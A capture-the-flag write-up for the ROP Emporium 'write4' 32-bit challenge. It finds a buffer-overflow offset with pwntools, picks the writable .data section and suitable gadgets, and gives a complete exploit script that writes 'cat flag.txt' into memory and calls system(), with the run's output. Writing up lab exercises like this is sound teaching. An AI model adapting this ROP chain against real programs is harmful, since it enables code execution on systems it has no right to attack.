Writeups

View on GitHub

Write4

Challenge Description : Find and manipulate gadgets to construct an arbitrary write primitive and use it to learn where and how to get your data into process memory.


HINT : On completing our usual checks for interesting strings and symbols in this binary we’re confronted with the stark truth that our favourite string “/bin/cat flag.txt” is not present this time. Although you’ll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we’ll stick to the challenge goal which is learning how to get data into the target process’s virtual address space via the magic of ROP.


So, our target for this challenge, is to write the string “cat flag.txt” somewhere in the memory and use that string to pass it to the system function, so that it is called.


The first step as all ways, is checking the security, finding the vuln (in this case buffer overflow).

Since, we do the same step as all ways, I had to automate it

def get_offset32(elf):
    io = process(elf.path)
    io.sendline(cyclic(200))
    io.wait()
    core = io.corefile
    offset_addr = core.fault_addr
    offset = cyclic_find(offset_addr)
    info("OFFSET : %d" , offset )
    return offset

get_offset32 sends a arbitrary long string to the binary, and waits for it to crash. Then, when it crashes, locates the source of the crash in the core file, which is stored at the fault address. Using the fault address, we locate the offset.

Now, our next step is to find some location where we can write our string.

Using readelf, we can find all the sections in the elf, and hopefully find a section where we have write access.

readelf write432 -S                                                   Sat 18 May 2019 19:54:21 IST
There are 31 section headers, starting at offset 0x196c:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  ...
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000028 04  WA  0   0  4
  [25] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001030 00002c 00  WA  0   0 32
  ...
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific

Only the following sections have a write access.

I’d like to write in the .data section.

According to TutorialsPoint :

  Data segment − It is represented by .data section and the .bss. The .data section is used to declare the memory region, where data elements are stored for the program. This section cannot be expanded after the data elements are declared, and it remains static throughout the program.

That’s perfect!

Let’s check, where should we write in the .data section. We don’t want to write over any already declared data elements.

readelf write432 -x .data                     
Hex dump of section '.data':
  0x0804a028 00000000 00000000                   ........

It’s empty. Perfect!


Now we know the what, and the where. The last and the most important one How?

We need gadgets to do that for us. Hence, ROPGadget comes into the picture. Since we can only write to the stack, and we need to mov the data into .data section, we are looking for gadgets with pop or mov instruction.

ROPgadget --binary write432 --only "nop|mov|pop|ret"      243ms  Sat 18 May 2019 20:27:10 IST
Gadgets information
============================================================
0x08048547 : mov al, byte ptr [0xc9010804] ; ret
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080484b0 : mov ebx, dword ptr [esp] ; ret
0x0804866f : nop ; mov dword ptr [edi], ebp ; ret
0x080484af : nop ; mov ebx, dword ptr [esp] ; ret
0x0804866e : nop ; nop ; mov dword ptr [edi], ebp ; ret
0x080484ad : nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x0804866c : nop ; nop ; nop ; mov dword ptr [edi], ebp ; ret
0x080484ab : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x0804866a : nop ; nop ; nop ; nop ; mov dword ptr [edi], ebp ; ret
0x080486db : pop ebp ; ret
0x080486d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483e1 : pop ebx ; ret
0x080486da : pop edi ; pop ebp ; ret
0x080486d9 : pop esi ; pop edi ; pop ebp ; ret
0x0804819d : ret
0x080484fe : ret 0xeac1

Unique gadgets found: 17

We can potentially use the gadgets 0x08048670 & 0x080486da

0x080486da pops the first 4 bytes of the stack into edi, and pops the next 4 bytes of the stack in ebp

0x08048670 moves the contents of ebp into the location pointed by edi

So, we’d like to write the address of data section into the stack, followed by a string. Then call pop_gadget, which writes the address of data into edi and string into ebp. Then call the mov_gadget which moves the string into data section. Do this recursively with string broken into 4bytes at a time. ebp & edi both hold 4bytes.

At last, call the system function with the string in data section as our argument.

exploit.py

from pwn import *

def get_offset32(elf):
    io = process(elf.path)
    io.sendline(cyclic(200))
    io.wait()
    core = io.corefile
    offset_addr = core.fault_addr
    offset = cyclic_find(offset_addr)
    info("OFFSET : %d" , offset )
    return offset



elf = context.binary = ELF("write432")
offset = get_offset32(elf)

data_section = elf.get_section_by_name(".data").header.sh_addr
info(".data : %#x",data_section)
data_section = data_section

system = elf.symbols.system
info("System : %#x",system)

mov_gadget = p32(0x08048670)
pop_gadget = p32(0x080486da)

instruction = "cat flag.txt"

payload = 'A'*offset
payload += pop_gadget
payload += p32(data_section)
payload += instruction[0:4]
payload += mov_gadget

payload += pop_gadget
payload += p32(data_section+4)
payload += instruction[4:8]
payload += mov_gadget

payload += pop_gadget
payload += p32(data_section+8)
payload += instruction[8:12]
payload += mov_gadget

payload += p32(system)
payload += "JUNK"
payload += p32(data_section)

io = process(elf.path)
io.recvuntil('>')
io.sendline(payload)
flag = io.recvline()
success("FLAG : %s", flag)

OUTPUT

[*] '/ropemporium/write4_SOLVED/again/write432'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[x] Starting local process '/ropemporium/write4_SOLVED/again/write432'
[+] Starting local process '/ropemporium/write4_SOLVED/again/write432': pid 18033
[*] Process '/ropemporium/write4_SOLVED/again/write432' stopped with exit code -11 (SIGSEGV) (pid 18033)
[x] Parsing corefile...
[*] '/ropemporium/write4_SOLVED/again/core.18033'
    Arch:      i386-32-little
    EIP:       0x6161616c
    ESP:       0xffe94ae0
    Exe:       '/ropemporium/write4_SOLVED/again/write432' (0x8048000)
    Fault:     0x6161616c
[+] Parsing corefile...: Done
[*] OFFSET : 44
[*] .data : 0x804a028
[*] System : 0x8048430
[x] Starting local process '/ropemporium/write4_SOLVED/again/write432'
[+] Starting local process '/ropemporium/write4_SOLVED/again/write432': pid 18050
[+] FLAG :  ROPE{a_placeholder_32byte_flag!}
[*] Stopped process '/ropemporium/write4_SOLVED/again/write432' (pid 18050)